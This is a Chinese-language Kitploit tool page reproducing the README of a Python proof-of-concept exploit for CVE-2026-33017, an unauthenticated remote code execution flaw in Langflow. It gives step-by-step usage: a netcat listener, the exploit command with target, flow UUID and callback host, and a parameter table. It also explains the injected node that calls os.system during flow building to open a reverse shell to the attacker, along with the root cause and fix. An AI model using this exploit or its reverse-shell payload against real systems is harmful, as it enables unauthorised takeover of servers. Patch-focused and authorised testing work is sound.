Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-33017 — Python 概念验证漏洞利用,针对 CVE-2026-33017,即 Langflow 中的未经身份验证的远程代码执行漏洞。通过恶意流节点注入传递反向shell。 | Kitploit
工具/GitHubGitHub/c0gnit00/cve-2026-33017
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育远程访问工具
GitHubc0gnit00/cve-2026-33017

CVE-2026-33017

Python 概念验证漏洞利用,针对 CVE-2026-33017,即 Langflow 中的未经身份验证的远程代码执行漏洞。通过恶意流节点注入传递反向shell。

查看仓库
232个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-33017 - Langflow 未授权远程代码执行

⚠️ 免责声明: 此仓库仅用于授权的安全测试和教育目的。仅在您拥有或已获得明确许可的系统上使用。作者不对该工具的任何滥用或损害负责。

概述

CVE-2026-33017 是 Langflow(一个用于构建 LangChain 应用程序的可视化框架)中的一个未授权远程代码执行漏洞。

POST /api/v1/build_public_tmp/{flow_id}/flow 端点允许在未认证的情况下构建公共流程。当提供可选的 data 参数时,端点会使用攻击者控制的流程数据(节点定义中包含任意 Python 代码)来替代数据库中存储的流程数据。该代码会被传递给 exec() 且没有任何沙箱保护,从而导致未授权的远程代码执行。

受影响版本

  • Langflow <= 1.7.3
  • 已在 Langflow >= 1.8.2 中修复

利用前提

  1. 目标 Langflow 实例至少有一个公共流程(常见于演示、聊天机器人、共享工作流)
  2. 攻击者知道该公共流程的 UUID(可通过共享链接/URL 发现)
  3. 无需认证——仅需要一个 client_id cookie(任意字符串值)

安装

root@kitploit:~
git clone https://github.com/<your-username>/CVE-2026-33017.git
cd CVE-2026-33017
pip install requests

使用

1. 设置监听器

在攻击机器上启动一个 netcat 监听器以捕获反弹 shell:

root@kitploit:~
nc -lvnp 4444

2. 运行漏洞利用脚本

root@kitploit:~
python3 CVE-2026-33017.py --url http://target:7860 --flow-id <UUID> --lhost <YOUR_IP> --lport 4444

参数

示例

root@kitploit:~
# Terminal 1: Start listener
nc -lvnp 4444

# Terminal 2: Fire exploit
python3 CVE-2026-33017.py \
    --url http://192.168.1.100:7860 \
    --flow-id 550e8400-e29b-41d4-a716-446655440000 \
    --lhost 10.0.0.5 \
    --lport 4444

工作原理

  1. craft_malicious_node() — 构造一个恶意的 Langflow 节点,其中包含一个带有攻击者控制 Python 代码的 CustomComponent。代码包含一个顶级的 os.system() 调用,该调用在图构建期间(甚至在流程“运行”之前)执行。

  2. fire_payload() — 将恶意节点以 JSON 格式发送到未认证的 build_public_tmp 端点,并附带一个随机的 client_id cookie。

  3. 代码执行 — 服务器解析攻击者提供的流程数据,实例化自定义组件,并在 prepare_global_scope() 过程中对嵌入的代码调用 exec()。顶级赋值 _r = __import__('os').system(...) 立即触发命令执行。

  4. 反弹 Shell — Payload 会生成一个 Python 反弹 shell,连接到您的监听器。

漏洞详情

根本原因

build_public_tmp 端点设计为无需认证(用于公共流程),但它错误地通过 data 参数接受攻击者提供的流程数据。当提供了 data 时,它会绕过存储的流程数据,直接将攻击者控制的节点传递给图形构建器。

推荐修复

移除 build_public_tmp 中的 data 参数。公共流程应仅执行数据库中存储的流程数据,绝不接受攻击者提供的数据。

参考

  • NVD - CVE-2026-33017
  • Langflow 发布 1.8.2

许可证

此项目仅用于教育及授权的安全测试目的。

下载工具
参数必填描述
--url是目标 URL(例如 http://localhost:7860)
--flow-id是公共流程 UUID
--lhost是您的监听器 IP 地址
--lport是您的监听器端口
--timeout否请求超时(秒,默认:15)